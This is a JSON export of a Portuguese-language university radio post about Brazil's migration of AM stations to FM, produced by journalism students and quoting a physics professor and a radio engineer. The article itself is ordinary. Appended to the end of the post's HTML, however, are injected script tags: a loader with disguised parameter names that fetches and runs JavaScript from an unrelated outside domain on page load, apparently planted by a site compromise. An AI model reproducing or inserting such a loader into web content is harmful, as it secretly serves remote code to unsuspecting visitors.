{"id":13952,"date":"2023-09-05T18:52:59","date_gmt":"2023-09-05T21:52:59","guid":{"rendered":"http:\/\/radio.ufpa.br\/?p=13952"},"modified":"2025-10-21T12:55:57","modified_gmt":"2025-10-21T15:55:57","slug":"migracao-do-radio-am-para-o-fm","status":"publish","type":"post","link":"https:\/\/radio.ufpa.br\/index.php\/espaco-experimental\/migracao-do-radio-am-para-o-fm\/","title":{"rendered":"Migra\u00e7\u00e3o do r\u00e1dio AM para o FM"},"content":{"rendered":"\n<div class=\"rwc-audio-block\" class=\"wp-block-radioweb-rwcaudioblock\"><div class=\"rwc-audio-block-header\"><span class=\"dashicon dashicons dashicons-media-audio\"><\/span><div class=\"rwc-audio-block-description\"><p>&#8220;A migra\u00e7\u00e3o da r\u00e1dio AM para FM&#8221;<\/p><p class=\"category\">Espa\u00e7o Experimental<\/p><p>R\u00e1dio Web UFPA<\/p><\/div><\/div><audio controls><source src=\"https:\/\/radio.ufpa.br\/wp-content\/uploads\/2023\/09\/ESPACO-EXPERIMENTAL-JORNAL-TUCUNDUBAI-2023.mp3\" type=\"audio\/mpeg\"\/><\/audio><\/div>\n\n\n\n<p><\/p>\n\n\n\n<p>A migra\u00e7\u00e3o do r\u00e1dio AM para o FM no Brasil \u00e9 o tema do quarto programa da s\u00e9rie Ondas do R\u00e1dio, em destaque no Espa\u00e7o Experimental. Os trabalhos foram realizados durante a atividade curricular dos alunos e alunas da\u00a0<a href=\"https:\/\/www.instagram.com\/facomufpa\/?hl=pt-br\" target=\"_blank\" rel=\"noreferrer noopener\">Faculdade de Comunica\u00e7\u00e3o da UFPA<\/a>, para a disciplina Introdu\u00e7\u00e3o ao Radiojornalismo, ministrada pela professora Net\u00edlia Seixas.\u00a0<\/p>\n\n\n\n<p>Neste epis\u00f3dio, as estudantes L\u00edvia Leoni, Amanda Santos, Maria Luiza, Roberta Cart\u00e1genes e Giovana Martini destacam os processos de migra\u00e7\u00e3o das r\u00e1dios de onda AM para FM, considerando os impactos e benef\u00edcios dessa mudan\u00e7a, tanto para as emissoras quanto para os ouvintes.<\/p>\n\n\n\n<p>Assim, o programa relata que, no Brasil, a migra\u00e7\u00e3o das r\u00e1dios AM para FM in\u00edciou em 2013, a partir da necessidade de melhorar a qualidade de som e diminuir as interfer\u00eancias nas Amplitudes Modulas (AM), em rela\u00e7\u00e3o as Frequ\u00eancias Moduladas (FM).&nbsp;<\/p>\n\n\n\n<p>\u201cAM significa amplitude modulada, ou seja, a propaga\u00e7\u00e3o dessa onda tem uma aplitude que fica variando com o tempo enquanto se propaga, as vezes mais intensa e as vezes menos intensa. J\u00e1 FM signfica frequ\u00eancia modulada quando a onda se propaga ela se propaga variando a frequ\u00eancia, sem mexer na amplitude\u201d, comenta o professor de Fis\u00edca Leonardo Reis. &nbsp;&nbsp;<\/p>\n\n\n\n<p>Outro entrevistado do programa \u00e9 o engenheiro radiof\u00f4nico Daniel Rodrigues que explica a diferen\u00e7a entre AM e FM, na pr\u00e1tica. \u201cPara os ouvintes tem dois aspectos importantes. A AM que \u00e9 uma frequ\u00eancia mais baixa, ela tem um alcance bem superior ao alcance da FM. Outro aspecto \u00e9 a qualidade do sinal, j\u00e1 que a qualidade da r\u00e1dio FM \u00e9 bem superior a qualidade da r\u00e1dio AM.\u201d<\/p>\n\n\n\n<p>Dessa forma, a transi\u00e7\u00e3o das r\u00e1dios AM para FM \u00e9 considerada um aspecto positivo para os ouvintes, mas, principalmente, para a ind\u00fastria radiof\u00f4nica. A AM por ter uma qualidade de som inferior vem sendo pouco usada nos meios comercias, j\u00e1 que os anunciantes t\u00eam prefer\u00eancia pelas Frequ\u00eancias Moduladas. Ou seja, a condi\u00e7\u00e3o comercial foi o principal elemento observado pelo Minist\u00e9rio da Ci\u00eancia, Tecnologia e Inova\u00e7\u00e3o e a Anatel para a transi\u00e7\u00e3o das ondas moduladas.<\/p>\n\n\n\n<p>Em contraste a esse fator ec\u00f4nomico, essas mudan\u00e7a afetam as comunidades do interior que por muitos anos tiveram apenas o r\u00e1dio como fonte informa\u00e7\u00e3o. A forma de produ\u00e7\u00e3o, as possibilidades de consumo dos conte\u00fados e potencialmente a audi\u00eancia dessas emissoras s\u00e3o alguns dos problemas refletidos com a migra\u00e7\u00e3o da AM para a FM.<\/p>\n\n\n\n<p>A extin\u00e7\u00e3o do servi\u00e7o radiodifus\u00e3o por local da onda m\u00e9dia, onde est\u00e3o localizadas as emissoras AM, foi determinada pelo decreto 8.139\/13 ainda no governo de Dilma Rousseff. Para isso, existem diversas condi\u00e7\u00f5es espec\u00edficas, como as quest\u00f5es econ\u00f4micas e documentais, para efetivar as mudan\u00e7as.<\/p>\n\n\n\n<p>Ficou interessado e quer saber mais sobre a migra\u00e7\u00e3o do r\u00e1dio AM para o FM, e ainda, suas transforma\u00e7\u00f5es na \u00e1rea econ\u00f4mica e tamb\u00e9m social, n\u00e3o perca o R\u00e1diojornal Tucunduba que aborda diversos aspectos em rela\u00e7\u00e3o a esse tema da radiodifus\u00e3o no Brasil. <\/p>\n\n\n\n<p>A produ\u00e7\u00e3o \u00e9 das estudantes da turma de jornalismo 2021: L\u00edvia Leoni, Amanda Santos, Giovana Martini, Maria Luiza e Roberta Cart\u00e1genes, sob a orienta\u00e7\u00e3o da professora Net\u00edlia Seixas. <\/p>\n\n\n\n<p>Ou\u00e7a tamb\u00e9m: <\/p>\n\n\n\n<p><a href=\"https:\/\/radio.ufpa.br\/index.php\/espaco-experimental\/a-historia-do-radio-no-mundo\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/radio.ufpa.br\/index.php\/espaco-experimental\/a-historia-do-radio-no-mundo\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/radio.ufpa.br\/index.php\/espaco-experimental\/programa-tupi\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/radio.ufpa.br\/index.php\/espaco-experimental\/programa-tupi\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/radio.ufpa.br\/index.php\/espaco-experimental\/a-historia-do-radio-no-mundo\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/radio.ufpa.br\/index.php\/espaco-experimental\/a-historia-do-radio-no-mundo\/<\/a><\/p>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; 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